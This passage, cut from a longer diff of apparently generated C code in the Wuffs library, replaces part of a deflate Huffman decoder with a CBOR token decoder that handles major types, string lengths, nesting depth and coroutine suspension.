((uint64_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))); -+ iop_a_src += 1u; -+ break; -+ } -+ } else if (v_c_minor == 25u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) >= 2u) { -+ v_string_length = ((uint64_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -+ iop_a_src += 2u; -+ break; -+ } -+ } else if (v_c_minor == 26u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { -+ v_string_length = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); -+ iop_a_src += 4u; -+ break; -+ } -+ } else if (v_c_minor == 27u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) >= 8u) { -+ v_string_length = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); -+ iop_a_src += 8u; -+ break; -+ } -+ } else { -+ v_string_length = 0u; -+ break; -+ } -+ if (iop_a_src > io1_a_src) { -+ iop_a_src--; -+ if (a_src && a_src->meta.closed) { -+ status = wuffs_base__make_status(wuffs_cbor__error__bad_input); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); -+ goto label__outer__continue; -+ } -+ status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } - } -- *iop_a_dst++ = ((uint8_t)(self->private_data.s_decode_huffman_slow[0].scratch)); -- continue; -- } else if ((v_table_entry >> 30u) != 0u) { -- } else if ((v_table_entry >> 29u) != 0u) { -- self->private_impl.f_end_of_block = true; -- break; -- } else if ((v_table_entry >> 28u) != 0u) { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- goto exit; -- } else if ((v_table_entry >> 27u) != 0u) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -- goto exit; -- } else { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ if (v_c_major == 0u) { -+ if (v_c_minor < 26u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)((14680064u | ((uint32_t)((v_string_length & 65535u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__goto_parsed_a_leaf_value__break; -+ } else if (v_c_minor < 28u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)((14680064u | ((uint32_t)((v_string_length >> 46u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ *iop_a_dst++ = wuffs_base__make_token( -+ (~(v_string_length & 70368744177663u) << WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT) | -+ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__goto_parsed_a_leaf_value__break; -+ } -+ } else if (v_c_major == 1u) { -+ if (v_c_minor < 26u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)((12582912u | (2097151u - ((uint32_t)((v_string_length & 65535u))))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__goto_parsed_a_leaf_value__break; -+ } else if (v_c_minor < 28u) { -+ if (v_string_length < 9223372036854775808u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)((12582912u | (2097151u - ((uint32_t)((v_string_length >> 46u))))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ *iop_a_dst++ = wuffs_base__make_token( -+ (~((18446744073709551615u - v_string_length) & 70368744177663u) << WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT) | -+ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ } else { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | -+ (((uint64_t)(16777216u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(9u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ } -+ goto label__goto_parsed_a_leaf_value__break; -+ } -+ } else if (v_c_major == 2u) { -+ if (v_c_minor < 28u) { -+ if (v_string_length == 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194560u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__goto_parsed_a_leaf_value__break; -+ } -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194560u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ } else if (v_c_minor == 31u) { -+ if (v_indefinite_string_major_type != 0u) { -+ break; -+ } -+ v_indefinite_string_major_type = 2u; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194560u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__outer__continue; -+ } else { -+ break; -+ } -+ while (true) { -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); -+ continue; -+ } -+ v_n64 = wuffs_base__u64__min(v_string_length, ((uint64_t)(io2_a_src - iop_a_src))); -+ v_token_length = ((uint32_t)((v_n64 & 65535u))); -+ if (v_n64 > 65535u) { -+ v_token_length = 65535u; -+ } else if (v_token_length <= 0u) { -+ if (a_src && a_src->meta.closed) { -+ status = wuffs_base__make_status(wuffs_cbor__error__bad_input); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); -+ continue; -+ } -+ if (((uint64_t)(io2_a_src - iop_a_src)) < ((uint64_t)(v_token_length))) { -+ status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_token_length); -+ goto exit; -+ } -+ v_string_length -= ((uint64_t)(v_token_length)); -+ v_continued = 0u; -+ if ((v_string_length > 0u) || (v_indefinite_string_major_type > 0u)) { -+ v_continued = 1u; -+ } -+ iop_a_src += v_token_length; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194816u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(v_continued)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(v_token_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ if (v_string_length > 0u) { -+ continue; -+ } else if (v_indefinite_string_major_type > 0u) { -+ goto label__outer__continue; -+ } -+ goto label__goto_parsed_a_leaf_value__break; -+ } -+ } else if (v_c_major == 3u) { -+ if (v_c_minor < 28u) { -+ if (v_string_length == 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__goto_parsed_a_leaf_value__break; -+ } -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ } else if (v_c_minor == 31u) { -+ if (v_indefinite_string_major_type != 0u) { -+ break; -+ } -+ v_indefinite_string_major_type = 3u; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__outer__continue; -+ } else { -+ break; -+ } -+ while (true) { -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); -+ continue; -+ } -+ v_n64 = wuffs_base__u64__min(v_string_length, 65535u); -+ v_n64 = ((uint64_t)(wuffs_base__utf_8__longest_valid_prefix(iop_a_src, -+ ((size_t)(wuffs_base__u64__min(((uint64_t)(io2_a_src - iop_a_src)), v_n64)))))); -+ v_token_length = ((uint32_t)((v_n64 & 65535u))); -+ if (v_token_length <= 0u) { -+ if ((a_src && a_src->meta.closed) || (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { -+ status = wuffs_base__make_status(wuffs_cbor__error__bad_input); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); -+ continue; -+ } -+ if (((uint64_t)(io2_a_src - iop_a_src)) < ((uint64_t)(v_token_length))) { -+ status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_token_length); -+ goto exit; -+ } -+ v_string_length -= ((uint64_t)(v_token_length)); -+ v_continued = 0u; -+ if ((v_string_length > 0u) || (v_indefinite_string_major_type > 0u)) { -+ v_continued = 1u; -+ } -+ iop_a_src += v_token_length; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(v_continued)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(v_token_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ if (v_string_length > 0u) { -+ continue; -+ } else if (v_indefinite_string_major_type > 0u) { -+ goto label__outer__continue; -+ } -+ goto label__goto_parsed_a_leaf_value__break; -+ } -+ } else if (v_c_major == 4u) { -+ if (WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor] == 0u) { -+ break; -+ } else if (v_depth >= 1024u) { -+ v_token_length = ((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])); -+ while ((v_token_length > 0u) && (iop_a_src > io1_a_src)) { -+ iop_a_src--; -+ v_token_length -= 1u; -+ } -+ status = wuffs_base__make_status(wuffs_cbor__error__unsupported_recursion_depth); -+ goto exit; -+ } -+ v_vminor = 2105361u; -+ v_vminor_alt = 2101282u; -+ if (v_depth > 0u) { -+ v_stack_byte = ((v_depth - 1u) / 16u); -+ v_stack_bit = (((v_depth - 1u) & 15u) * 2u); -+ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { -+ v_vminor = 2105377u; -+ v_vminor_alt = 2105378u; -+ } else { -+ v_vminor = 2105409u; -+ v_vminor_alt = 2113570u; -+ } -+ } -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ if (v_c_minor == 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__goto_parsed_a_leaf_value__break; -+ } -+ v_stack_byte = (v_depth / 16u); -+ v_stack_bit = ((v_depth & 15u) * 2u); -+ self->private_data.f_stack[v_stack_byte] &= (4294967295u ^ (((uint32_t)(3u)) << v_stack_bit)); -+ self->private_data.f_container_num_remaining[v_depth] = v_string_length; -+ v_depth += 1u; -+ v_tagged = false; -+ goto label__outer__continue; -+ } else if (v_c_major == 5u) { -+ if (WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor] == 0u) { -+ break; -+ } else if (v_depth >= 1024u) { -+ v_token_length = ((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])); -+ while ((v_token_length > 0u) && (iop_a_src > io1_a_src)) { -+ iop_a_src--; -+ v_token_length -= 1u; -+ } -+ status = wuffs_base__make_status(wuffs_cbor__error__unsupported_recursion_depth); -+ goto exit; -+ } -+ v_vminor = 2113553u; -+ v_vminor_alt = 2101314u; -+ if (v_depth > 0u) { -+ v_stack_byte = ((v_depth - 1u) / 16u); -+ v_stack_bit = (((v_depth - 1u) & 15u) * 2u); -+ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { -+ v_vminor = 2113569u; -+ v_vminor_alt = 2105410u; -+ } else { -+ v_vminor = 2113601u; -+ v_vminor_alt = 2113602u; -+ } -+ } -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ if (v_c_minor == 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__goto_parsed_a_leaf_value__break; -+ } -+ v_stack_byte = (v_depth / 16u); -+ v_stack_bit = ((v_depth & 15u) * 2u); -+ self->private_data.f_stack[v_stack_byte] |= (((uint32_t)(3u)) << v_stack_bit); -+ self->private_data.f_container_num_remaining[v_depth] = v_string_length; -+ v_depth += 1u; -+ v_tagged = false; -+ goto label__outer__continue; -+ } else if (v_c_major == 6u) { -+ if (v_c_minor >= 28u) { -+ break; -+ } -+ if (v_string_length < 262144u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | -+ (((uint64_t)((4194304u | ((uint32_t)(v_string_length))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ } else { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | -+ (((uint64_t)((4194304u | ((uint32_t)((v_string_length >> 46u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ *iop_a_dst++ = wuffs_base__make_token( -+ (~(v_string_length & 70368744177663u) << WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT) | -+ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ } -+ v_tagged = true; -+ goto label__outer__continue; -+ } else if (v_c_major == 7u) { -+ if (v_c_minor < 20u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | -+ (((uint64_t)((8388608u | ((uint32_t)((v_string_length & 255u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__goto_parsed_a_leaf_value__break; -+ } else if (v_c_minor < 24u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(WUFFS_CBOR__LITERALS[((uint8_t)(v_c_minor & 3u))])) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__goto_parsed_a_leaf_value__break; -+ } else if (v_c_minor == 24u) { -+ if (v_string_length < 24u) { -+ if ( ! (iop_a_src > io1_a_src)) { -+ status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ iop_a_src--; -+ break; -+ } -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | -+ (((uint64_t)((8388608u | ((uint32_t)((v_string_length & 255u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__goto_parsed_a_leaf_value__break; -+ } else if (v_c_minor < 28u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(10490113u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__goto_parsed_a_leaf_value__break; -+ } else if (v_c_minor == 31u) { -+ if (v_tagged || (v_depth <= 0u)) { -+ break; -+ } -+ v_depth -= 1u; -+ if (self->private_data.f_container_num_remaining[v_depth] != 0u) { -+ break; -+ } -+ v_stack_byte = (v_depth / 16u); -+ v_stack_bit = ((v_depth & 15u) * 2u); -+ v_stack_val = (3u & (self->private_data.f_stack[v_stack_byte] >> v_stack_bit)); -+ if (v_stack_val == 1u) { -+ break; -+ } -+ if (v_stack_val != 3u) { -+ v_vminor_alt = 2097186u; -+ } else { -+ v_vminor_alt = 2097218u; -+ } -+ if (v_depth <= 0u) { -+ v_vminor_alt |= 4096u; -+ } else { -+ v_stack_byte = ((v_depth - 1u) / 16u); -+ v_stack_bit = (((v_depth - 1u) & 15u) * 2u); -+ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { -+ v_vminor_alt |= 8192u; -+ } else { -+ v_vminor_alt |= 16384u; -+ } -+ } -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__goto_parsed_a_leaf_value__break; -+ } -+ } -+ } while (0); -+ if (iop_a_src > io1_a_src) { -+ iop_a_src--; -+ status = wuffs_base__make_status(wuffs_cbor__error__bad_input); - goto exit; - } -- } else if ((v_table_entry >> 27u) != 0u) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -- goto exit; -- } else { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_i_o); - goto exit; - } -- v_length = (((v_table_entry >> 8u) & 255u) + 3u); -- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); -- if (v_table_entry_n_bits > 0u) { -- while (v_n_bits < v_table_entry_n_bits) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint32_t t_2 = *iop_a_src++; -- v_b2 = t_2; -- } -- v_bits |= (v_b2 << v_n_bits); -- v_n_bits += 8u; -+ label__goto_parsed_a_leaf_value__break:; -+ v_tagged = false; -+ while (v_depth > 0u) { -+ v_stack_byte = ((v_depth - 1u) / 16u); -+ v_stack_bit = (((v_depth - 1u) & 15u) * 2u); -+ self->private_data.f_stack[v_stack_byte] ^= (((uint32_t)(1u)) << (v_stack_bit + 1u)); -+ if (1u == (3u & (self->private_data.f_stack[v_stack_byte] >> v_stack_bit))) { -+ goto label__outer__continue; - } -- v_length = (((v_length + 253u + ((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 255u) + 3u); -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- } -- while (true) { -- v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; -- v_table_entry_n_bits = (v_table_entry & 15u); -- if (v_n_bits >= v_table_entry_n_bits) { -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- break; -+ if (self->private_data.f_container_num_remaining[(v_depth - 1u)] <= 0u) { -+ goto label__outer__continue; - } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint32_t t_3 = *iop_a_src++; -- v_b3 = t_3; -- } -- v_bits |= (v_b3 << v_n_bits); -- v_n_bits += 8u; -- } -- if ((v_table_entry >> 28u) == 1u) { -- v_redir_top = ((v_table_entry >> 8u) & 65535u); -- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); -- while (true) { -- v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; -- v_table_entry_n_bits = (v_table_entry & 15u); -- if (v_n_bits >= v_table_entry_n_bits) { -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- break; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint32_t t_4 = *iop_a_src++; -- v_b4 = t_4; -- } -- v_bits |= (v_b4 << v_n_bits); -- v_n_bits += 8u; -+ self->private_data.f_container_num_remaining[(v_depth - 1u)] -= 1u; -+ if (self->private_data.f_container_num_remaining[(v_depth - 1u)] > 0u) { -+ goto label__outer__continue; - } -- } -- if ((v_table_entry >> 24u) != 64u) { -- if ((v_table_entry >> 24u) == 8u) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -- goto exit; -+ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); -+ continue; - } -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- goto exit; -- } -- v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); -- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); -- if (v_table_entry_n_bits > 0u) { -- while (v_n_bits < v_table_entry_n_bits) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint32_t t_5 = *iop_a_src++; -- v_b5 = t_5; -- } -- v_bits |= (v_b5 << v_n_bits); -- v_n_bits += 8u; -+ v_depth -= 1u; -+ v_stack_byte = (v_depth / 16u); -+ v_stack_bit = ((v_depth & 15u) * 2u); -+ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { -+ v_vminor_alt = 2097186u; -+ } else { -+ v_vminor_alt = 2097218u; - } -- v_dist_minus_1 = ((v_dist_minus_1 + ((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 32767u); -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- } -- while (true) { -- if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { -- v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); -- if (v_hdist < v_length) { -- v_hlen = v_hdist; -+ if (v_depth <= 0u) { -+ v_vminor_alt |= 4096u; -+ } else { -+ v_stack_byte = ((v_depth - 1u) / 16u); -+ v_stack_bit = (((v_depth - 1u) & 15u) * 2u); -+ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { -+ v_vminor_alt |= 8192u; - } else { -- v_hlen = v_length; -- } -- v_hdist += ((uint32_t)(((uint64_t)(self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u))))); -- if (self->private_impl.f_history_index < v_hdist) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); -- goto exit; -- } -- v_n_copied = wuffs_base__io_writer__limited_copy_u32_from_slice( -- &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); -- if (v_n_copied < v_hlen) { -- v_length -= v_n_copied; -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); -- continue; -- } -- v_length -= v_hlen; -- if (v_length == 0u) { -- goto label__loop__continue; -+ v_vminor_alt |= 16384u; - } - } -- v_n_copied = wuffs_base__io_writer__limited_copy_u32_from_history( -- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); -- if (v_length <= v_n_copied) { -- goto label__loop__continue; -- } -- v_length -= v_n_copied; -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); - } -+ break; - } -- self->private_impl.f_bits = v_bits; -- self->private_impl.f_n_bits = v_n_bits; -- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); -- goto exit; -- } -+ self->private_impl.f_end_of_data = true; - - ok: -- self->private_impl.p_decode_huffman_slow[0] = 0; -+ self->private_impl.p_decode_tokens = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_huffman_slow[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_decode_huffman_slow[0].v_bits = v_bits; -- self->private_data.s_decode_huffman_slow[0].v_n_bits = v_n_bits; -- self->private_data.s_decode_huffman_slow[0].v_table_entry_n_bits = v_table_entry_n_bits; -- self->private_data.s_decode_huffman_slow[0].v_lmask = v_lmask; -- self->private_data.s_decode_huffman_slow[0].v_dmask = v_dmask; -- self->private_data.s_decode_huffman_slow[0].v_redir_top = v_redir_top; -- self->private_data.s_decode_huffman_slow[0].v_redir_mask = v_redir_mask; -- self->private_data.s_decode_huffman_slow[0].v_length = v_length; -- self->private_data.s_decode_huffman_slow[0].v_dist_minus_1 = v_dist_minus_1; -+ self->private_impl.p_decode_tokens = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -+ self->private_data.s_decode_tokens.v_string_length = v_string_length; -+ self->private_data.s_decode_tokens.v_depth = v_depth; -+ self->private_data.s_decode_tokens.v_tagged = v_tagged; -+ self->private_data.s_decode_tokens.v_indefinite_string_major_type = v_indefinite_string_major_type; - - goto exit; - exit: -@@ -36408,243 +36446,607 @@ wuffs_deflate__decoder__decode_huffman_slow( - a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } - -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } - return status; - } - --#endif // 